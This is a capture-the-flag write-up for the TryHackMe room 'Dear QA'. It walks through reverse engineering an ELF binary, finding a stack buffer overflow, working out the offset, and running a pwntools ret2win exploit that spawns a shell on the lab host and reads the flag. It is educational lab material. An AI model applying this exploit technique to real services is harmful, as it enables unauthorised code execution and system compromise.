Writeup for the easy ranked THM room Dear QA
This writeup describes how I approached the room Dear QA from Try Hack Me. This room is based on Linux and it is rated easy. I have been thinking about starting a series of articles about binary exploitation. Perhaps starting at the very easiest basics and building from that. This room seems like a very good first post on this subject. It’s the easiest kind of binary exploitation you could do.
My environment for this hack is a Mac with Kali 2022.1
Now let’s get going!
Recon
Before entering the room I can see this information:
As I already mentioned this room is about binary exploitation (pwn). Here we can see that it’s a buffer overflow exploit and you need to do some reverse engineering to attack it. When you enter the room you can see two tasks. The first one includes downloading a binary. And there’s no flag associated with it.
The second one tells me there’s a service running on port 5700. And I should find out the architecture of the binary and after that I should exploit the service which I can guess is the same binary running behind a tcp-wrapper of some kind.
So first of all just click that “Download Task Files” and save the binary localy:
And when I have that file just start the service by clicking the “Start Machine” button. After a few minutes I can see the ip-address where the service is running and I’m good to go:
That’s about all the recon I can do for now. I know that the service is running at port 5700 at ip address 10.10.216.203. There’s not much purpose in scanning for something else. Let’s move to the gaining access phase at immediatly.
Gaining Access
Analysing the binary
First of all let’s get started by analysing that binary. I could just use the file tool to see what kind of file it is:
[~/Downloads]$ file DearQA.DearQA
DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped
So it’s a 64-bit (that’s the first flag) ELF executable for Linux. I should be able to execute this right here in Kali. But before I go off and launch unknown binaries downloaded from the internet I should try to reverse engineer it just a little bit to see if I can find out what it’s doing.
My first go to tool for this is the famous software reverse engineering suite of tools developed by NSA’s Research Directorate Ghidra.
If you start Ghidra for the first time without an ongoing project it should look something like this:
Ctrl + n brings up the wizard for creating a new project. I choose to make it a non shared project and put it in a suitable location in the file system (Downloads where the binary is). I name the project Dear QA.
Now I have an empty project. Ctrl + i imports a file to the project. I Choose the binary I just downloaded (DearQA.DearQA) and use the defaults suggested by Ghidra until I have an imported binary in my project:
Now I just need to double click the DearQA.DearQA to get started analysing it. Once again I go with all the deafults that Ghidra suggests and after a while Ghidra is done analysing:
From here it’s always a good thing to start looking at the functions included in the program. I double click on functions in the left pane and it expands so I can see all of them. The function main is a very good starting point and by doubleclicking that I bring up a C decompilation in the right pane.
It turns out to be a very simple C program that looks like this:
undefined8 main(void)
{
undefined local_28 [32];
puts("Welcome dearQA");
puts("I am sysadmin, i am new in developing");
printf("What\'s your name: ");
fflush(stdout);
__isoc99_scanf(&DAT_00400851,local_28);
printf("Hello: %s\n",local_28);
return 0;
}
First of all it write’s some text to the console using the functions puts() and and printf(). Then it uses the function __isoc99_scanf() to get some input from the user.
This function takes two parameters. The first one is a formatting string and the second one is the variable where it should put the result. Let’s find out what the formatting string is by doubleclicking DAT_00400851.
So the string is “%s”. The zero is the null termination of the string. “%s” means it’s supposed to be a string that the user enters. Now let’s look at the variable where the string is stored.
undefined local_28 [32];
The [32] part is the amount of bytes that can be stored in local_28. The problem here is that the __isoc99_scanf() function has no idea about the maximum length of the user input. So this is a typical buffer overflow bug.
I think I found the bug. There was actually another interesting function called vuln(). This is an easy room and it’s rather obvious that there’s something in that function that I need to take a look at.
I use Ghidra to decompile it into C just like I did with main and this is what that function looks like:
void vuln(void)
{
puts("Congratulations!");
puts("You have entered in the secret function!");
fflush(stdout);
execve("/bin/bash",(char **)0x0,(char **)0x0);
return;
}
The functions start by printing some text about a secret function. It’s secret in that sense that it is never called from the main program, but it’s there in the binary. The most interesting part is this:
execve("/bin/bash",(char **)0x0,(char **)0x0);
That launches a shell with bash right there. So if I’m able to manipulate the main program so that it calls this function I should be able to spawn a shell.
There’s a buffer overflow which means that I can overwrite a return address that is stored on the stack and make the program jump to an address of my choosing. What if I should overwrite it with the address to vuln()?
If we look back in Ghidra at the disassembly for the vuln() function. It looks like this.
**************************************************************
* *
* FUNCTION *
**************************************************************
undefined vuln()
undefined AL:1 <RETURN>
vuln XREF[3]: Entry Point(*), 0040087c,
00400918(*)
00400686 55 PUSH RBP
00400687 48 89 e5 MOV RBP,RSP
0040068a bf b8 07 MOV EDI=>s_Congratulations!_004007b8,s_Congratulat = "Congratulations!"
40 00
0040068f e8 8c fe CALL <EXTERNAL>::puts int puts(char * __s)
ff ff
00400694 bf d0 07 MOV EDI=>s_You_have_entered_in_the_secret_f_004007 = "You have entered in the secre
40 00
00400699 e8 82 fe CALL <EXTERNAL>::puts int puts(char * __s)
ff ff
0040069e 48 8b 05 MOV RAX,qword ptr [stdout]
6b 05 20 00
004006a5 48 89 c7 MOV RDI,RAX
004006a8 e8 c3 fe CALL <EXTERNAL>::fflush int fflush(FILE * __stream)
ff ff
004006ad ba 00 00 MOV EDX,0x0
00 00
004006b2 be 00 00 MOV ESI,0x0
00 00
004006b7 bf f9 07 MOV EDI=>s_/bin/bash_004007f9,s_/bin/bash_004007f9 = "/bin/bash"
40 00
004006bc e8 8f fe CALL <EXTERNAL>::execve int execve(char * __path, char *
ff ff
004006c1 5d POP RBP
004006c2 c3 RET
I do not need to analyse this code any further. Just take a note of the start address of the vuln() function 0x400686. This is where I want the program to jump. I should be able to accomplish it by overwriting a return address on the stack with this address.
But most of the time it’s not this simple. There’s usually countermeasures like ASLR, DEP, Canaries and so on. But since this is an easy box with entry level binary exploit my guess is that these mechanisms are not enabled. Let’s find out if this is the case using checksec from pwntools:
[~/Downloads]$ checksec DearQA.DearQA
[*] '/home/f1rstr3am/Downloads/DearQA.DearQA'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Everything is disabled. I should be good to go. But I can’t find out about ASLR since that is a feature set by the operating system and I can’t see the configuration over att THM where the service is running. But that’s not a concern since all code I need to call is in tha main binary and ASLR does not change these adresses that’s the job for PIE and it’s not enabled.
Time to do some exploitation!
Verify the buffer overflow
Now when I have analysed the code it should be safe to run the binary just to see that it behaves as expected:
[~/Downloads]$ chmod +x DearQA.DearQA
[~/Downloads]$ ./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: f1rstr3am
Hello: f1rstr3am
That looks pretty much like what I expected. Time to trigger the bug. Let’s start by verifying that my analysis is correct. The program should crash if I input more than 32 characters. Let’s use python to generate a 64 bytes long string and pipe it into stdin of the program:
[~/Downloads]$ python3 -c 'print("A"*64)' | ./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 27127 done python3 -c 'print("A"*64)' |
27128 segmentation fault ./DearQA.DearQA
Segmentation fault it is. At this time I need to find out the exact offset where I should put the address that I want the program to jump to.
Calculate the offset
Let’s use pwntools again to generate a cyclic pattern that can be used to calculate the offset:
[~/Downloads]$ cyclic 128
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
Then I load up the program in gdb:
[~/Downloads]$ gdb DearQA.DearQA
GNU gdb (Debian 10.1-2) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from DearQA.DearQA...
(No debugging symbols found in DearQA.DearQA)
(gdb)
The program is loaded. I start the program by (gdb) r and enter. And when the program asks “What’s your name?” it’s time to input the cyclic string that should overwrite the return address on the stack.
(gdb) r
Starting program: /home/f1rstr3am/Downloads/DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
I press enter and:
Program received signal SIGSEGV, Segmentation fault.
0x000000000040072f in main ()
(gdb)
What happened now is that I overwrote a return address on the stack with the cyclic string. That string has a pattern to it that makes i possible to see what part of it that overwrote the the return address and use that to calculate the offset. That part of the string should now be pointed to by the stack pointer that is the $rsp register in the cpu. Let’s find out what it points to:
(gdb) x $rsp
0x7fffffffdf48: 0x6161616b
$rsp holds the address 0x7fffffffdf48 and that points to a value of 0x6161616b. It should be pointing at an address where there is code. Remember that vuln() was located at 0x400686? Well 0x6161616b is obviously not in that address space. I can now use pwntools to calculate the offset by using this part of our cyclic string.
[~/Downloads]$ cyclic -l 0x6161616b
40
So pwntools tell me that the offset is 40 bytes.Therefore I should input 40 bytes of junk and then a 64-bit address pointing to 0x400686 and that should make the program call vuln() and spawn a shell. Let’s start coding.
Coding the exploit code
This should be a very simple python program using pwntools. I start coding the program using the local binary to try out the exploit.
#!env python3
from pwn import *
target = process("/home/f1rstr3am/Downloads/DearQA.DearQA")
#target = remote('10.10.216.203', 5700)
target.recvuntil(b"What's your name: ")
payload = cyclic(40)
payload += p64(0x400686)
target.sendline(payload)
target.interactive()
This program starts by importing pwntools. Then I load the binary by using the function process(). Since I want to exploit the service running at THM in the end I added the function remote() aswell but left it commented out (#).
The function recvuntil() reveives text from stdout until it reaches the string “What’s your name: “. Then it generates a payload with 40 bytes of cyclic(40) (this could be anything really but I like using cyclic if I need to do more debuging). After that I add the address (0x400686) to the vuln() function.
I use sendline() to send the payload to stdin of the binary. And since it should be spawning a shell I call interactive() so that I can start interacting with the shell from the keyboard.
First of all let’s make the script executable:
[~/Downloads]$ chmod +x exploit.py
And now let’s try it:
[~/Downloads]$ ./exploit.py
[*] '/home/f1rstr3am/Downloads/DearQA.DearQA'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Starting local process '/home/f1rstr3am/Downloads/DearQA.DearQA': pid 37376
[*] Switching to interactive mode
Hello: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\x86\x06
Congratulations!
You have entered in the secret function!
$ whoami
f1rstr3am
Well that seems to work very well. Let’s change the script so that I call the service over at THM instead:
#!env python3
from pwn import *
#target = process("/home/f1rstr3am/Downloads/DearQA.DearQA")
target = remote('10.10.216.203', 5700)
target.recvuntil("What's your name: ")
payload = cyclic(40)
payload += p64(0x400686)
target.sendline(payload)
target.interactive()
Let’s launch the exploit again, this time sending the payload over the internet against the service hosted at THM:
[~/Downloads]$ ./exploit.py
[*] '/home/f1rstr3am/Downloads/DearQA.DearQA'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Opening connection to 10.10.216.203 on port 5700: Done
[*] Switching to interactive mode
bash: cannot set terminal process group (446): Inappropriate ioctl for devi
ctf@dearqa:/home/ctf$ $ whoami
ctf@dearqa:/home/ctf$ $ ls
The exploit works, I have a shell there. It takes my input but I can’t see the output. It just seems as if the shell is behaving strange so I try this:
ctf@dearqa:/home/ctf$ $ stty raw
ctf@dearqa:/home/ctf$ $ whoami
whoami
ctf
ctf@dearqa:/home/ctf$ $ ls -la
ls -la
total 40
drwxr-xr-x 2 ctf ctf 4096 Jul 24 2021 .
drwxr-xr-x 3 root root 4096 Jul 24 2021 ..
-rw------- 1 ctf ctf 640 Feb 21 14:08 .bash_history
-rw-r--r-- 1 ctf ctf 220 Jul 24 2021 .bash_logout
-rw-r--r-- 1 ctf ctf 3515 Jul 24 2021 .bashrc
-rw-r--r-- 1 ctf ctf 675 Jul 24 2021 .profile
-r-xr-xr-x 1 ctf ctf 7712 Jul 24 2021 DearQA
-rwx------ 1 root root 413 Jul 24 2021 dearqa.c
-r--r--r-- 1 ctf ctf 22 Jul 24 2021 flag.txt
ctf@dearqa:/home/ctf$ $ cat flag.txt
cat flag.txt
THM{D3AD_B33F_D3AD_BEEF}
That worked. I have a working shell and the flag is there at the home folder of the ctf user. Mission accomplished.
Summary
That was easy. But! Im sory to break it for you. It’s never this easy anymore and people seldom leave code that spawns a shell hangning around (that´s CTF stuff). There’s a plethora of countermeasures against these kind of bugs nowadays. ASLR, PIE, DEP (NX), Canaries, RELRO and so on. Though all of these can be bypassed under certain circumstances.
But it’s a lot more complicated than what’s handled in this writeup. I would love do more writeups about how to bypass countermeasures. It could be fun to make a series of binary exploitation articles with an increasing degree of difficulty. Perhaps we could reach the black magic called heap exploitation one day.
But if these kind of bugs are not exploitable anymore what’s the point of learning it? Well the buffer overflow might not be found exploitable that often today but it’s still a good thing to know before going further with more advanced exploitation.
If you wan’t more of this please let us know by giving us some feedback on some of our social media.
Until next time, happy hacking!
/f1rstr3am